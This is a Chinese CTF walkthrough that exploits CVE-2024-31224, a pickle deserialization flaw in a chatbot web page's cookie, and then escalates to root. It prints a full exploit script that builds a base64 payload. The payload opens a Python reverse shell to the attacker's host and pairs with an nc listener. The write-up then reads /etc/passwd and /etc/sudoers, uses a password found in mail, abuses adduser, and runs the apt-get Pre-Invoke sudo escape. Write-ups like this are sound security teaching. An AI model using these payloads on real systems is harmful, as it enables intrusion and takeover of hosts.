考点: CVE-2024-31224 apt-get提权
开题是一个gpt的页面,通过信息搜寻找到相关CVE漏洞
相关利用文章可以自己去搜.就不多赘述了
漏洞利用点就在这里
在进入时是没有带cookie的,但是点了确认并保存之后可以看到出现了cookie值
在这里可以自定义cookie的值来利用pickle反序列化漏洞来弹shell exp如下:
import base64
import pickle
# 构造要执行的命令
command = "export RHOST=\"ip\"; export RPORT=2333; python -c 'import sys,socket,os,pty; s=socket.socket(); s.connect((os.getenv(\"RHOST\"), int(os.getenv(\"RPORT\")))); [os.dup2(s.fileno(), fd) for fd in (0,1,2)]; pty.spawn(\"sh\")'"
# 构造对应的opcode
opcode = f'cos\nsystem\n(S\'{command}\'\ntR.'
# 进行base64编码
encoded_opcode = base64.b64encode(opcode.encode()).decode()
print(encoded_opcode)
至于为什么要用python去弹shell,因为pickle是python的吧
改成自己的公网ip和自己想搞的端口
用这个exp生成的值来替换刚刚保存出现的cookie值
然后再在公网ip上开nc
nc -lvnp 2333
刷新页面,回到自定义界面,再点击加载已保存
拿到shell,但发现不是root且用户名是ctfgame,说明肯定要提权
试试:
sudo -l
没密码搞不成
再看看passwd有什么没
cat /etc/passwd
看到了还有一个ctfer的用户,猜测可能是要去找密码
找了一会发现再mail里有东西
cd /var/mail
ls
cat ctfgame
找到了ctfer的密码
KbsrZrSCVeui#+R
su ctfer
sudo -l
看到这个用户可以以root无密码执行/addser 于是有:
sudo /usr/sbin/adduser ctfer root
sudo adduser --gid 0 hahaha
把ctfer加到root用户组里
再创建一个新用户hahaha到root(0是root的ID)组里,再切换到这个用户
虽然是在root组里 但还是无法切换到/root里 说明还得想办法
根据提示查看到sudoers里有东西
cat /etc/sudoers
看到kobe有免密root执行apt-get权限?!
那就再切到ctfer去加个kobe用户
su ctfer
sudo adduser --gid 0 kobe
su kobe
id
然后就去搜一下apt-get提权的命令:
sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
这回全root了嗷
cd /root
ls
cd fl0g000
ls
cat f1Aggg
到此结束
Comments | NOTHING